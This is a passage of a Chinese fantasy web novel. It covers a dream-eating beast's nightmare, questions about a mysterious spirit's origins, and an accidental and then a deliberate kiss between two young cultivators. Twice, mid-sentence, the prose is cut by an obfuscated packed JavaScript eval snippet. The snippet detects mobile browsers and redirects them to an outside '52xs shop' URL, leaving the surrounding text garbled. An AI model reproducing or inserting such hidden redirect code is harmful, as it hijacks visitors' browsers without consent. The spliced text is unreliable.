梦貘细细品尝着,没想到此人的第一个梦竟如此美味,它的眼睛眯得更厉害了,它闻到了血腥气,扯开嗓子高歌。 宿林陷入更沉的梦境。 他被一阵风推到山巅,山是死的,没有一个活物。他觉得脚心很烫,像是要灼穿皮肤,将他融化在其中一般。 不远处传来“咕咚咕咚”的冒泡声,像是煮开了什么。 他被此间唯一的声音引着往前走去,待看清一切后,浅棕色的眼眸瞬间染上腥红! 黑红的火山岩夹着死亡的咆哮奔袭而来,翻滚不止。宿林内心的一根弦攸地崩断了,他飞快地转身跑—— 快跑,死神来了! 天道视万物生而平等,死神从不怜惜任何的生命,岩浆火龙喷薄而出! 山脚下,林鸟冲天而起,百兽奔相逃蹿,万物疲于奔命! 宿林停下脚步,他看清了死神的可怖。 可是炽热的岩浆只是穿过他透明的身体,让他活着欣赏所有的生命消失殆尽。 火山灰以不可思议的速度四处捕捉,一只鸟儿落在他的掌心,鸟儿的翅膀无力地扑腾了两下,渐渐失去温度,唯余一双灰色瞳孔,倒映着宿林那张极度慌张的脸。 梦境外,他的身体剧烈颤抖,缩成一团。 梦貘贪得无厌地品尝着他炽烈的噩梦。 宿林跪了下来,跪于天地之间,痛苦像洪水一般席卷了他,他飘摇于独舟上,看着尘世满目疮痍,发出和着血泪的诘问—— 为什么! 凭什么! 一个声音从遥远的远方传来:“你不是守护神吗?” “你守护住了什么!” “不知道,”宿林拼命摇头,“我不知道啊!” 那道遥远的声音带着低沉的嘲讽,任他捂住耳朵,紧闭双眼也无济于事,从四面八方浸入他的识海:“只会说不知道的废物!这世间,有什么是你穷极一生也要追寻的?让你粉身碎骨也要守护的?” 宿林喃喃自问——我追寻的是什么?!守护的又是什么?! “天道不仁,可也在罅隙中给过万物一丝生机,你弄丢了它,下场合该如此!” 宿林不禁泪流满面—— 我是谁? 我将去往哪里? 我到底要什么! 却是再也没有回答了。 沸腾的情感毫无顾忌地摊开在梦貘的眼里,它的双眸兴奋得几乎淌出血来,它大口大口吞咽着,将这些美梦吞了个干净。 ****** 陈无宁在那块岩石背后找到宿林的时候,他还陷在梦境的情绪里,蜷缩成婴儿睡姿,怎么都醒不过来。 庄笙见到宿林就红了眼,憋了好久的泪夺眶而出,他也不絮叨了,上前抱起宿林,赶回小院。 不学无术的庄笙蹦出的第一个想法自然是去请大夫,被陈无宁一把拦下:“你当他是凡人吗,请大夫能看出什么?除了看出他异于常人,这事若被传出去,还想不想活命了?” 庄笙哪管得了这些,毫不讲理地大吼:“谁敢动他,我非得叫此人偿命!” 吹完这个豪气冲天的牛皮,他又软了下来,问,“现在怎么办?” 修士到了凝神境多少通一点经脉,陈无宁抓起宿林的手腕,探了片刻:“他的五脏六腑搅得厉害,稍等一下,我去刻张宁神咒。” 在符咒这块,陈无宁的修为还没到随手拈来的程度,却是这一行里唯一指望得上的,他只得回房刻咒,走时还不忘叮嘱郁夜看好他俩。 过了一会儿,宁神咒的光华没入宿林的眉心,一瞬间,他整个人脱离了噩梦,缓缓睁开了眼。 宿林的眼前总共支着五颗脑袋,各有各的神态,他从这五颗脑袋里迅速辩认出陈无宁,好似力道无穷般,一把捏住了陈无宁的下巴! 陈无宁好心替他治病,不料一把被擎住,当即上了火,正要一巴掌拍开这只作乱的手,郁夜却更快的支棱过来,剥开宿林那不端庄的手,将陈无宁拉到身后。 古人言,君子动口不动手,动手也不一定打得过,郁夜打算长篇大论,说道说道这不懂事的某人,不料庄笙一下子扑到了宿林身上,脑袋埋在他的胸口,像个小姑娘似的抽噎起来。 再伫在这里恐怕会长针眼了......郁夜咽回去一肚子的圣贤书,拉着陈无宁走出了屋。 郁夜一个眼神,飞絮心领神会,哄着乌雪泥出门玩了。 此时,院里只剩下他和陈无宁。 陈无宁满腹疑惑,不耻下问:“‘精怪’这个品种,你知道多少?” 郁夜是清楚的,他的那把玉骨扇就有灵,家人说过,他出生不久的时候就生了一场大病,险些死去,玉骨灵保住了他的小命,不过也从此与其立下魂契,此生都要承受割魂之痛。 郁夜一万个不想讲这些事,脆弱永远是人心里的疤,稍稍一揭就血流满地。他又想起上次陈无宁套了他的老底,至今还没有任何表示,于是气不打一处来,打算什么都不说。 “不知道,别问了!就算知道也不告诉你,你个骗子!” 他翻脸无情,陈无宁也很气恼,决定让他哪儿凉快待哪儿去。 书里包罗万象,你不说,难不成我还不会找? 屋里,宿林垂落眼眸,看见扑在自己身上哭得上气不接下气的庄笙,悲伤的情绪有所缓和,忽然有种从天地之间落入凡尘的感觉。 他也不清楚为何心口像堵了一团棉花那样难受,梦貘把他的梦境吃干抹净了,看不清事实,只剩下情绪,他绞尽脑汁也回忆不起自己到底怎么了,只好作罢。 “哭什么,起来。” 庄笙不依不饶,一边哼唧,一边告状:“哥,你到底怎么啦?那两个讨厌鬼说你不是人!” 宿林没接话,算是默认了。 庄笙抬头看他:“哥,你到底是什么?” 宿林淡淡回答:“我并非爹生娘养的,我也在寻找答案。” 自十六年前,宿林从沧泊湖底走出,混沌了很长时间。 他不知道自己是谁,也不会说话,更不明白要去哪里。 他是被一阵源自同脉的味道刺激醒的,醒来便是人身,走出湖底时有凡人十七八岁的模样,可是那阵唤醒他的味道弥散了没多久,就攸地不见了。 长时间禁锢于湖底,他还不习惯使用两条腿,只好连滚带爬、跌跌绊绊地学着走路。 要做什么也不清楚,迷迷糊糊的,只是赶往味道传来的方向。 一无所知的少年在凡尘里摸爬滚打,遇到过善意,也遭受过不少磨难。有人贩子以为他是个哑巴,又见生得不错,就想把他当成玩意儿卖掉。也有人以为他是无家可归的流浪儿,还是脑子有病的那种。 路途坎坷,在多次命悬一线的危急关头,他激发出了一些本能,发现他能够控制诸如草木、动物、水汽等一切除了人以外的事物,勉强能自保了。 后来,他不动声色地学会了人类官话,总觉得自己有个名字,似乎叫做宿林,于是便自称宿林了。 他一直凭着自身的特殊能力,沿途寻找那股命中注定的味道。 那个味道只是从一个方向传来,无法具体到某处,他只好沿着这条笔直的线往前赶路。抵达钟灵镇后,他发觉这个小镇的味道比起沿途更加浓郁,便在此落了脚,在街上开了一个茶摊,像人类一样谋生。 后来遇见庄笙,无论怎样赶,他就是不走。 再后来遇见了陈无宁,当陈无宁从他面前经过时,消散的味道终于落到实处,宿林毫不犹豫地叫住了他。 此后便一直随行。 可是据他长时间的观察,陈无宁此人,可能因为他那造孽的身世,与人相处时总透着一股不冷不热、不远不近的疏离感,至今也未显露出什么特别的本事。 但自从见了他,就总觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639408|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很熟悉,很亲切,仿佛两人之间有一种说不清道不明的羁绊。 此时,很熟悉很亲切的陈无宁正埋头在一堆书里,翻查着精怪一族的相关资料。 他忙得很,恨不能一夜就理清楚所有事情的来龙去脉。 可敢写于书上的,又能有多少隐秘呢? 方向就错了。 郁夜下午冲陈无宁发了通莫名其妙的脾气,此刻很是心虚,他在陈无宁身边来回踱步,还刻意放重脚步,制造噪音。 可那人岿然不动,丝毫没注意到“床伴”那些千奇百怪的小动作。 郁夜被无视太久,只得放下身段,主动破冰:“陈无宁,你在找什么?” 陈无宁没发气地道:“我说,你能别在我身边瞎晃了吗?” “你这人到底有什么毛病!”郁夜刚想和解的心情立马没了,跳脚说,“大好的青春年华,非要过得跟白开水似的,不是窝在院里修炼,就是到外边多管闲事,管完这个又管那个,这偌大的一个安城,你去过哪里?玩过什么?” 听了这番厥词,陈无宁从书本里抬起头,皮笑肉不笑地叽讽他:“可不是么?我又没你那个少爷命。” 郁夜简直恼极了此人又臭又硬的作派,他两只手撑到桌面,直视着陈无宁的眼睛,逼问道:“你为何一定要苦自己?” 从未有人这样问过他,陈无宁愣了一瞬,缓缓说道:“于我而言,活着就是很奢侈的事了,再不努力一些,恐怕将来既保全不了自己,也保护不了想保护的人。” 郁夜被他说懵了,一时接不上话,还没想好怎么怼回去,陈无宁已经站了起来,冲他摆摆手:“你慢慢玩,我出去一下。” 宿林清醒过来后,打发走了哭哭啼啼的庄笙,此时正坐在小院的石桌上烹茶。 见陈无宁走来,也在旁边坐下,他像以往一样,用白布细细擦了三圈杯口,斟上茶,抬眼递去,安静地等这人开口。 每回宿林撞进陈无宁的眼里时,都是一副特别沉寂的画,他像是一个幻影,带着与生俱来的隔绝感,似乎连他周遭的时间都流淌得慢些。 陈无宁直奔主题:“你这三天做什么了?” 宿林:“有三天了么?” 陈无宁:“你是精怪?” 宿林:“不知。” 陈无宁:“你为何要跟着我?” 宿林:“你身上有百草与泥土的芬芳。” 又来了,无论问多少遍,他永远都只有这个答案。 不知是不是睡了几天的缘故,宿林此时挺爱说话,淡淡地叙述:“我并非凡人人身,没爹没娘,醒来便是现在这副模样。十六年前,我闻到了一种味道,就是你身上的味道,于是从住的地方走出来,一路追去钟灵镇,只是当时不通俗事,花了些时间。” 他讲得坦诚,陈无宁也很坦诚地接话:“我身上能有什么特别的东西?我十六年前出生,生的那天母亲死了,父亲也不待见我,后来他也死了。你觉得......像我这么一个厄运缠身的人,会是你要找的人?” 宿林:“我找的不一定是人,是一种命定的、属于我的东西。” 陈无宁从来不会自作多情,更不会把这句带有歧意的话想成另一种意思,他跟宿林沟通起来很舒服,两人对话不多,却都能理解对方话里的含义。 陈无宁:“我十岁便离了家,师父是天上掉下来的,小师妹是半路上捡的,此身身无长物,实在没有你说的那什么芬芳。” 宿林:“即使如此,我也只能跟着你,别无它法。” 至此,两人再无话可说。 陈无宁盘算着与师父约好的归期,算来还有九个多月,这期间,必得想法甩开他们。 飞絮带着乌雪泥回院子了,因这桩桩件件的事,陈无宁有些迷茫,也有些烦闷,看见乌雪泥左手一个玩偶,右手一个奶糕,蹦蹦跳跳地靠近过来,他烦躁的情绪一扫而空,忽然有些心软,想去抱抱自已唯一的小师妹。 不料这小丫头相当不给面子,像条泥鳅一样滑不留手,嘴里还叫唤道:“师兄,你别动手动脚的嘛,我已经不是小孩子啦!” 陈无宁的脸当即黑了:“小泥巴,记住你今天说的话,以后累了可别烦我。” 乌雪泥一仰下巴:“说到做到!” 下山还没多久,没想到就管教不了这丫头了,陈无宁非得治治她,骂道:“成天跑出去野,你功课做到哪来了?晚饭后,我要一样一样检查!” 刚才还不要抱的乌雪泥眨眼间兵败如山倒,她小心翼翼地走到陈无宁身边,抬手就抱住了师兄的大腿,在师兄的腰腹亲昵地蹭了蹭。 陈无宁:“……” 做人该有的原则呢? 12. 下山7 距离中秋还有三天,当今圣上戚帝以仁义治国,认为千经万典,孝悌为先,因此将科考定在了中秋后,寄望学子们先爱小家,再顾大家,与家人团团圆圆的过完中秋。 这一系列改革虽只是小举措,却也引发了朝臣诸多争议,有人认为戚帝是个爱国爱民的好皇帝,也有人认为他优柔寡断,慈悲心太过,并不是一位合格的帝王。 这其中还有些老一辈才知道的典故。 往前约百年左右,戚帝的先祖原来只是前朝的翰林首辅,装着一肚子大学问,本是个风度翩翩的君子,可谁也没料到,这位首辅突然野心膨胀,在内阁的推波助澜下发动了政变,一举谋.权篡.位,皇族一夜之间改名换姓,皇宫大内尸殍遍野,血流满地。 被推翻的那位可怜皇帝也并非暴君,只是政策手腕铁血了些,国家在他的治理下说不上有多么的国泰民安,至少还是稳定发展中有进益的。 可能老天爷都看不下去了,降下了惩治。 此后百年,人间大小祸事就没断过。地震、山洪、海啸,干旱等自然灾害一并发作,东边正刮着狂风,西边又落下暴雨,将朝廷搅成了一个千疮百孔、奔波无休的大烂摊子。 无数人丧生于此间,最惨的时候,泱泱大国坑坑洼洼,竟难寻一处好地。流民们无家可归,暴.乱、饥荒、烧杀.抢虐接踵而至,一茬接一茬,像是割不完的麦子,倒下去又长回来。 戚帝已经不知道是他家这姓的第几代帝王了,他的先祖们几乎都是被繁重的政务给累死的,个个年纪轻轻就去见了阎王,独戚帝一人气运非凡,轮到他上位接手国家后,不怎知的,突然风调雨顺了起来,颠簸百年的四季仿佛找到了回家的路,一下归了位。 在重重困境中磨出来的朝廷经验老道,立即颁布了一系列改革措施,减免赋税、推行生产、培植农作物、鼓励创新服务等,迅速收拢千万人心。 当老百姓渐渐能吃上饭了,谁还愿意做暴.民? 可能这位幸运的皇帝因为小时候生活在水深火热之中,好不容易看见了安宁,便收敛起帝王应有的铁腕,以怀柔政策治国,才有了皇城如今的繁华。 朝廷也许是累得太久,心力交瘁随它去了,也可能是想用百年的流血史警醒世人,安宁来之不易,且当珍惜,毫不忌讳地将这些前朝今朝的破事刊印成了《国史录》,从大书行里就能买到。 陈无宁看完一整本书,脖颈有些发酸,他抬手揉了揉,一些前尘往事浮光掠影般涌上心头。 他小时候,因为出生不详,被全镇活物集体孤立,又因家境相对不错,不曾有过挨冻受饿的经历,对国计民生并无太多了解。 况且钟灵镇是个偏远山区的乡下小镇,连个县衙都没有,出点屁事都得向邻镇借兵处理,消息闭塞是常有的。 陈无宁如今从万卷书里看来了人世的百年兴衰,不免微有惆怅,好在他并不是个感情丰沛的人,这点惆怅才开了个头,就被他压了下去。 他从书海里挪出神智,此刻眼里碎着一把朦胧的星光。 郁夜已经在后院洗漱好,回了房间,陈无宁扫了一眼,见这位少爷小脸微红,想来此人刚泡了一个舒服的热水澡。 “可不止戚帝一个幸运儿。” 陈无宁偷偷想着,不知不觉的,嘴角噙了一丝笑意。 郁夜被他直白的目光看得很是窘迫,连忙左支右拙地检查自身形象是否妥当——睡袍穿得好好的,上好的真丝面料,柔滑平顺,刚洗过的头发也擦干了,在夜晚风灯的晕染下,必定是个十成十的美男子。 他这么看我,是在打什么主意? 好在陈无宁迅速恢复了平时不冷不热的模样,合上书,朝床铺走去。 郁夜平时是有些洁癖在身上的,飞絮每日都要过来收拾打扫,屋里一尘不染。他本人也不嫌麻烦,连离家出走都带了一个衣橱,变着花样地臭美,甚至被单都是每日一换。 郁夜正在审判陈无宁:他眼里的星光究竟是什么意思? 难不成他还没看够本少爷? 这般想着,郁夜的嘴巴和脑子步调发生偏差,不着边际地冲他一喊:“你洗澡没有就上床睡觉?” 陈无宁心底浮起的那点暖色被他这一嗓子吼得烟消云散,面不红耳不赤地扯谎道:“没洗,怎样?” 此人不仅是个捂不热的冷面蛇,还光明正大地向他展示自己的邋遢行径,所作所为令人发指,郁夜瞬间化身泼妇,气急败坏地吼了回去:“我才不和你睡!” 看他气成了一个闭口瓜,模样有趣极了,陈无宁拼命抑着笑意,脸上却摆出一副高岭之花的倨傲,状似随意地说:“好吧,那我睡了,你可以跪安了。” 跟这种人有什么道理可讲? 郁夜三步并成两步,蹿到床头,打算直接上手暴.力压制,把他拖到后院去洗涮干净。 不料陈无宁看着单薄,跟营养不良似的,手上力道却大得惊人。 或许是天天练剑磨出来的力气,两人一拉一扯间,郁夜还没把人从床铺间拖出来,反手就被陈无宁拉了下去,当当正正地趴在了陈无宁身上,嘴也正好贴在了他脸上,来了个猝不及防并毫无保留的亲密接触! 这一变故任谁都没料到,两人都愣住了...... 可能是暑气还没完全消退,也可能是吵架吵得肝火旺盛,屋里好像烧起了一把无名火,温度陡然升高,将他俩的脑子都烤糊了。 郁夜感觉自己的四肢退化了,根本不听使唤,只好这样一动不动地趴在陈无宁身上,心里一瞬间浮起了千百个念头—— “我是谁…这是哪儿…我在做什么…” “触感软软的,温度宜人,不像平时看上去那样冷…” “他会打死我吗?我可能打不过…” “得出去冷静冷静,可是没力气啊,爬不起来…” “快喘不过来气了,我要死了…” “嗯,滋味不错…” 他脑子里千军万马奔腾呼啸,“滋味不错”四个字像是魔咒一般,带着他的神智奔向越来越古怪的地方去了。无所事事的时候看的那些风流话本冒出头来,羞耻得他从脖子红到了耳根。 陈无宁同样僵在原处,像个任人宰割的挺尸一般,不知如何收场。 身上这人仿佛没有要跳起来声讨他的意思,嘴还紧紧地粘在他脸上,触碰之处分外灼热,那人的鼻息铺陈开来,把他亲了个外焦里嫩! 陈无宁左右不是办法,正踌躇该怎么办才好,就感觉到郁夜脱了力。 郁夜的脑袋滑向旁边的枕头,传来一声闷闷的、夹杂着颤抖的咆哮:“这可是我的初吻啊!!!” 陈无宁:“……” 他的耳朵被这句话烧得滚烫,一下找回了清明,一把推开身上的人,跟谁踩了尾巴一样蹦跳下床,光脚站在了屋里。 郁夜爬了起来,颓然地坐在床间,浑身都散发出一股好像被登徒浪子糟.蹋了的无力感。 他这副可怜巴巴的模样一下扫空了陈无宁的情绪,再怎么说也是自己无意间把他拉下来的,陈无宁每日三省吾身,善于时刻检讨自已,得出的结论是:两人都有错。 于是陈无宁小心翼翼地试探,话语里竟带了一丝连自己都察觉不到的哄,可说出来的话就不像东西了,也不知道是在安慰还是在搓火:“没关系的,你还是清白的?” “清白”二字,又勾起了郁夜片刻前经历的伤心事,他抬起头,看着陈无宁,不受控地胡言乱语:“你可清白?可喜欢过人?可亲过别人?” 陈无宁被这一串连珠炮打得措手不及,脱口而出:“我没有——” “那好,”郁夜口不择言,“你还给我。” 陈无宁不解:“还你什么?” 郁夜将脑袋侧到一边,用手指了指自己的脸:“还给我。” 那意思再明确不过了——亲回来,把你的初吻给我。 陈无宁大惊失色:“这种事还能还?” 郁夜仿佛变成了一具傀儡,不断重复:“还给我。” 此时此刻,陈无宁只想夹尾逃蹿,可若是这副衣冠不整的模样从屋里狂奔出去,指不定明天的小院八卦头条就易主了,铁定从庄笙变成自己。 他不敢冒这个险。 但也不可能亲回去的! 陈无宁回想起整件事的起因,发现是一个可以暂避的好借口,他哆哆嗦嗦地拿起屏风上的外衣,一边往身上套,一边心虚地哄道:“我去洗澡,你先睡,先睡......” 紧接着落荒而逃。 瞧这事办的,又得去搓一遍! 陈无宁偷偷摸到后院,也没烧水,打了凉水到浴桶里,直接钻进去平息火气,打算泡到天亮。 飞絮天不亮就醒了,早起给一院子的人做饭。 飞絮平时沉稳冷静,少爷极难伺候,硬是给她磨出一身的细心周到,她照顾乌雪泥也十分上心,陈无宁嘴上没说,心里却很感激。 飞絮才进到厨房里,就听到后头挨着的浴室传来声响,陈无宁为逃避昨晚的事,真就泡到了现在,感觉自己都快泡成泡菜了,正好穿上衣服。 飞絮撩开竹帘,推开房门,大惊道:“陈小公子,你在这做什么?” 真相是不可能公诸于众的,陈无宁顺口胡诌:“没什么,太热了,冲个凉。” 大早上的,热? ……冲凉?! 飞絮原地呆成了一具木头人,脑子已经停转了,好在她并非思维跳脱的人,既然小公子这般说了,兴许就是这样吧? 从早饭开始,一院的人都发现,陈无宁和郁夜这对室友不对劲。 郁夜像是个深闺怨妇,眼神凄凄惨惨,冷冷戚戚。他心不在焉地喝着粥,时不时朝陈无宁甩去几眼,如果目光有实质,想必陈无宁已经千疮百孔。 陈无宁不敢硬接郁夜的眼神,只好端着正人君子之态,不着痕迹地左躲右避,脸色庄严得能给祖宗就地上坟。 乌雪泥人小鬼大,扫过桌上这股诡异的气氛,觉得嘴里的饭都不香了,她眨巴着眼,左看看这个,右看看那个,脑袋转成了一只旋风摆锤。 庄笙这个狗腿别的都不行,唯有鼻子灵。他嗅到了一股狗男男的味道,暗暗编排起来,还不忘和旁边的宿林分享:“哥,他俩保准有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14639409|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事!” 宿林喝着茶,瞪他一眼:“闭嘴。” 飞絮打小跟着郁夜,对他熟悉得很,一个眼神都能知道他要干嘛。 此时,自家少爷脸上挂着明晃晃的愁闷与不甘,又想起一大早在后厨遇见陈小公子冲凉败火的事,一系列串联起来,她得出了一个结论:陈小公子欠了少爷的债。 用过早膳,乌雪泥迎来每天都逃不掉的酷刑:读书。 书上的字在她眼里跟乱飞的苍蝇一样,又讨厌,又磨人。加上今早尽收眼底的八卦乐子,她更加无法专心,嘴里背得颠三倒四:“天堂有路你不走,学海无涯你苦作舟——” 陈无宁正在练剑,听了这一耳朵歪理邪说,大浪掏沙一般转过身,一剑拍在乌雪泥头顶:“正经读,好好背!” 乌雪泥心里苦啊,觉得她将来若是长不高,多半是师兄拍的!可师父不在身边,只有师兄这个恶魔,人在屋檐下不得不低头,只好生受了这一击,摇头晃脑地捡起书本,继续苦大仇深地背诵全文。 郁夜今天似乎没有出门吃喝玩乐的打算,一直坐在石桌这边,陈无宁练剑时不小心靠近一点点,他就幽幽地甩来几个眼神。 陈无宁不敢直视债主,生怕他捕捉到目光,当众扔来一句“还给我”。 整整一天,大家看他俩的目光都带着浓浓的八婆意味。 庄笙更不要脸,凑到乌雪泥身边,津津有味地说:“小丫头,你师兄要被人拐跑啦!” 乌雪泥眼睛瞪得老大:“庄笙哥,这是什么意思?” 庄笙:“小鬼,你真是一点眼力见都没有,你看不出来吗,他俩有一腿!” 乌雪泥的眼睛都快瞪到天灵盖上去了:“有一腿是什么意思?” 庄笙完全不怕教坏小朋友,并起两根指头合拢在一处,故作神秘道:“就是他俩好上了。” 乌雪泥:“……” 庄笙看着眼前被震惊得哑口无言的小女孩,自觉耳清目明,无敌聪明,可以功成身退。 又到了不得不面对的夜晚,陈无宁浑身不自在,可昨晚一晚没睡,今天又强撑了一整天,早困得不行。为了避开郁夜的纠缠,他如同往常一般,装模作样地看起了书。 只是看了半天还停留在那一页,脑子里糊满了浆糊。 郁夜压根不打算放过他,已经计划了一天的反间计。他照例洗漱完毕,悠闲地回了房,打了一个大大的哈欠,倒在床上开始装睡。 没一会儿,床上传来浅清绵长的呼吸声。 见这尊大神终于睡了,陈无宁合上一个字都没看进去的书,轻手轻脚地爬上床。 谁料他刚躺下,刚闭上眼,郁夜突然诈尸一般翻起身,压在了他身上! 陈无宁被迫睁眼,手忙脚乱地就要推人,郁夜这次做足了准备,双腿死死缠住他,双手也狠狠按住他,硬是不让挣脱。 陈无宁装了一天的大尾巴狼,早没力气了,只能任由此人胡作非为。 郁夜幽幽地说:“还给我。” 陈无宁觉得自己快被这几个字勾出心魔了,怒道:“你到底要怎样?” 郁夜理直气壮:“平白无故失了初吻,你说我要怎样?” “初吻”二字又让陈无宁回想起昨晚的炽热触感,那股热气仿佛还在脸上盘旋,将他的感官都调动到了脖子以上。 他心里飞快盘算,连夜带小师妹跑路来不来得及? 不过还有诸事未解,就这样走了,岂不白费功夫? 他看着眼前这张不达目的誓不罢休的脸,心下一沉,觉得这件事若不解决,郁少爷恐怕能从碧落追他到黄泉。 凭心而论,郁夜长得很好,连头发丝和指甲盖都是比着他喜好长的,又想到反正两个大男人,怕什么?就算亲回去,也指不定是谁吃亏? 陈无宁就这样鬼迷了心窍,理智与冲动混战,一时没分出胜负,只好任凭身体的本能反应牵引,在少爷还沉浸在讨个说法的执念里,陈无宁挣出一只手,狠狠按下他脑袋,闭眼贴了上去。 这……!!! 两人都不是熟练工,特别是陈无宁,他连小画本都没看过,单纯又无邪,自然不知道下一步该往哪走。只觉得双唇贴上的一瞬间,仿佛触到了天雷,从头皮麻到了脚心,什么还债啊逃跑啊的念头都抛到了九宵云外。 郁夜惊得瞪大了眼,讨了一整天的债,此刻连本带息地要回来,却不是他想象中的那码子事。 这到底是赚了?还是赔了?! 他周身血气全涌了上来,脸涨得通红,还没理清楚这笔买卖划不划算,陈无宁却感觉呼吸不畅,快要断气,求生欲让他挣扎着清醒过来,将郁夜从身上推了下去。 “还你了。” 陈无宁摞下这话,翻到一旁,倒头便睡。 郁夜沉浸在方才电光火石的一刹那,还没回过神,黑暗中的心跳声尤为明显,吵得他一个头两个大。 不过…为何还有些舍不得放开? 滋味好像更爽了,比亲脸还舒服。 “天呐!”他混沌的神智发出惊天动地的呼喊,“我一定是被庄笙那色坯传染了疯病!” 13. 下山8 老话说得好,已所不欲,勿施于人。 可郁夜急于给自己找个借口按下这股没来头的悸动,他胡思乱想,整晚没睡,偏头看见陈无宁就想亲,他疯了,火气十分的大,第二天刻意忽略了陈无宁的存在,把主要矛盾转移到庄笙身上。 庄笙快快乐乐吃着刚出锅的小笼包,收到郁夜一个白眼,外加一句嘲讽:“你八百年没吃过饭?饿涝鬼一样。” 说完,他将包子笼往乌雪泥面前一推再推,恨不能全倒进乌雪泥的饭碗里,又提起筷子上阵阻挡,就不让庄苼夹一个。 庄笙莫名其妙地瞪他一眼:不是,你有病吧?! 早饭后,庄笙一如往常地缠着宿林撒娇作怪,要他陪自己出去玩,旁边的郁夜又甩来一个白眼:“下作流氓,恬不知耻。” 庄笙如愿以偿地收到一个“滚”字,却还笑眯眯地围着宿林团团转,贱到骨子里了,好像被嫌弃的人不是他一样,又收到郁夜一顿辱骂:“没脸没皮,人至贱则无敌。” 天还没亮多久,郁夜已经不厌其烦地找了他数次麻烦,庄笙忍无可忍,怒而反击:“你跟谁撒德行呢?有病就去找大夫!” 乌雪泥被这两个幼稚鬼烦得一个字也写不下去了,给陈无宁甩去一个无比幽怨的眼神。陈无宁看着这般光景,直觉院里不能待了,只得大发慈悲,免了泥巴和自己的早课,牵着她去了街上。 乌雪泥心里直犯嘀咕,寻思着该不该问,可转念一想,他可是我师兄诶,我的亲人,有什么好不好问的,于是狗胆包天地开了口:“师兄,你和郁哥哥怎么啦?” 陈无宁:“没怎么,吵架了。” 乌雪泥歪了歪头:“可庄笙哥说,你俩好上了。” 陈无宁耳根一热:“他神经病,胡说八道!” 乌雪泥觑着师兄的神色,小声回嘴:“可我看着不像乱讲。” 陈无宁沉默了一会儿,他正色下来,蹲下去与乌雪泥的视线持平,缓缓说道:“还有九个月,师父就该出关了,到时候我们得想办法甩开这群人,回门派去。这段时间的经历只是漫长仙途里的一个小片段,不必看得太重,更不必过于挂怀,听懂了吗?” 乌雪泥似懂非懂,还是点了点头。 陈无宁心里忽然升起一股没来由的烦躁,适才说的这番话好像把他自个儿的心捅出了一个窟窿,滋滋往外冒着酸。 十几载岁月,没怎么跟人打过交道,朝夕相处的人更寥寥无几,于是他那本就不多的情感再切割成小块,统共也分不了几人。 陈宅已变成前尘旧事,隔着时光化了个面目模糊,除了一腔孤愤大约会伴随终生,其它细枝末节,已经快想不起来了。此后相伴的只有师父和小师妹,他们于自己而言,并非纯粹的门派中人,而是至亲。 可下山游历的这段时光,莫名其妙遇见的这些人,偏就郁夜浓墨重彩地越了线,闯入他界定好的亲疏范围,好死不死的盘踞在那,大有越扎越深的意思,这可不是什么好兆头。 郁夜出生好,长得好,又惯会找乐子,活得有滋有味的,不管到哪里都能有大好的一生,耽搁他做什么? 尘缘飘渺,像一把无用的细沙,或许切实存在过,但也会迅速从指缝中流失,陈无宁自小就懂得这个道理。 算了,还是冷处理罢。 收拾好情绪,他带着乌雪泥去了东门。 科考在即,巡逻士兵多了起来,大街小巷里都是他们的身影。还有闲心晃荡的大多是老人幼儿,不必登上考场,以笔为器,挣一个锦绣前程。 从北门往东门走,行人愈发的少,场景也从吵吵嚷嚷的市井气变成坚硬冰冷的铜墙铁壁。东门巡查的官兵不论气质还是装束,看上去都比其它地方高了不止一级。 陈无宁早就打算来这边碰碰运气,看看能否找到铸剑大师,给无阻磨个锈。 无阻在溪水里泡久了,剑鞘生了锈,他这些年跟着师父,光顾着修炼看家带孩子,这事直至不久前才提上日程。 东门鱼龙混杂,光着膀子打铁的匠人比比皆是,呈现出一种生人勿近之感,粗旷又野性。 小点的铺子前挂了农具,显然不是他要找的目标,还有些铺子挂了铠甲、铁肩之类的官兵用具,想来是捡些朝廷兵部的剩菜度日。 陈无宁谨慎地观察,从大路转小巷,走至巷尾,发现有间铺子并未开门,甚至连店名都没有,但门口柱子上却挂了一把品相不错的剑。 就是这了。 他抬手扣门,敲了几次无人回应,不由得自嘲一番:“看来这几天运气真不好啊。” 他正打算走人,门却“吱呀”一声,从里开了,一个青年模样的人走了出来,后面还跟着一位白发苍苍的老人,貌似是送客出门。 青年扫了一眼门口的陌生人,给了个礼节性的微笑,转身走了。乌雪泥躲在陈无宁身后,歪头瞧了瞧,视线追随那人而去。 陈无宁不由得心生好奇,这青年从装扮看应该是个书生,书生为何会来铁器铺?他还没回过神,旁边的老人慢吞吞地开了口:“小公子,你这是找谁?” 陈无宁施了一个晚辈礼:“小生手里有把剑,烦请大师给看一下。” 老人从头到脚打量了陈无宁一番,又注意到他身侧那把不同寻常的剑,点了点头,示意他跟进来。 陈无宁妥帖地带上房门,这才发现里面黑得很,从强光到暗处需要一点时间适应,可老人并不等他,脚下好似生了风,竟走出一种千军万马过独木桥的气势。 他只好一把抱起乌雪泥,快步追上。 走过前厅,来到侧边一条暗道,拐了不知多少个弯,终于到了兵器室。 兵器室很宽敞,兵器分明别类挂在架子上,弓、弩、枪、棍、刀、剑、矛等堆满一屋,甚至还有花样百出的各种暗器。 自兵器室往里走,就到了炼器室,一股热浪扑面而来。房间左上角安置了一口大窑,烧得火红,右上角有个长铁桌,应当是炼器台。 